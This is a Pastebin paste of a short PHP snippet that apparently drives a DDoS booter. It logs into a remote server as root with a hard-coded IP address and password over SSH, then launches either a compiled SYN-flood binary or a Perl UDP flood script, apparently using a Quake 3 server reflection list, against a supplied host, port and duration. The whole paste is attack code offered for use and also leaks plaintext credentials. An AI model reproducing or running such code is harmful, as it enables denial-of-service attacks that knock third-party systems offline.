Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- include('Net/SSH2.php');
- if($_GET['ssyn'])
- {
- $attack = "a.out " . $host . " " . $time . " " . $port;
- $ssh = new Net_SSH2('94.102.52.18');
- if ($ssh->login('root', 'erghergre'))
- {
- $result = $ssh->exec($attack);
- $pos = strpos($result, "Flooding");
- if ($pos === false)
- {
- //Success
- }
- }
- }
- else
- {
- $attack2 = "perl udp.pl " . $host . " " . $port . " servers.txt quake3 15 " . $time;
- $ssh = new Net_SSH2('94.102.52.18');
- if ($ssh->login('root', 'erghergre'))
- {
- $result = $ssh->exec($attack2);
- $pos = strpos($result, "Flooding");
- if ($pos === false)
- {
- //Success
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment